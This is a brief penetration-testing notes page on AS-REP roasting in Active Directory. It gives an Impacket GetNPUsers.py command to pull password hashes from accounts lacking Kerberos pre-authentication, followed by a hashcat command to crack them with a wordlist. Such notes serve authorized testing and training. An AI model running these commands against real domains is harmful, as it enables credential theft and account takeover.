> For the complete documentation index, see [llms.txt](https://tenaka.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/impacket/pre-authentication.md).

# Pre-Authentication

GetNPUsers.py

#### #When pre-auth is not enabled, account and password hash are returned

#### #Impacket

cd Impacket/examples

#### #pre-auth to extract password hash if its not

GetNPUsers.py -dc-ip 10.0.0.1 fqdn.loc/ -usersfile users.txt -format hashcat -outputfile hash.txt

#### #Hashcat extract password

hashcat -m 18200 --force -a 0 hash.txt rockyou.txt
